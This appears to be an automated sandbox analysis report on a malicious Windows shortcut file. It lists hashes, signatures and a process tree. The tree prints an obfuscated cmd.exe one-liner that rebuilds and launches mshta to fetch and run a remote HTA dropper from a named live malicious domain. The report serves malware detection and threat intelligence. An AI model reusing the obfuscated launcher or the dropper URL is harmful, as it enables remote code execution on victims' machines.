Analysis

  • max time kernel
    60s
  • max time network
    62s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/08/2026, 23:49

General

  • Target
    DOC-1BW7TQ.lnk
  • Size 2KB
  • Sample260821-3vbytsdq21
  • SHA256 cb75b1469ae251c6a9b22fd5b4c21b0afa6eaffd111c4a6a2cdd6f39b7d6e5ab
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1BW7TQ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set ZDBZ=h3stegv&&set mJlA=martbt6&&set zyj=chom1&&set GkE=koshtd&&set CEv=dar&&set WI=logjcypwaedfcykxuntglog&&set ESm=syszalbigxvcgtflgrevesys&&set fKDaE=dbgxfcgtdbg&&set nuvVq=oldnxostsmtdtarqjsnstaedold&&set ZNrV=tmpxiipnoijnqtmp&&set UKjwx=tmpduzwdyumqtmp&&set SM=https@://k-@d@ocument@aci@o@n.@la@t@/h@/e@st@agi@o1@.@php@?@r=@3F1477F@1@53@9@8@D@1&&start /b !zyj:~3,1!!GkE:~2,3!!CEv:~1,1! !SM:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:4184

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads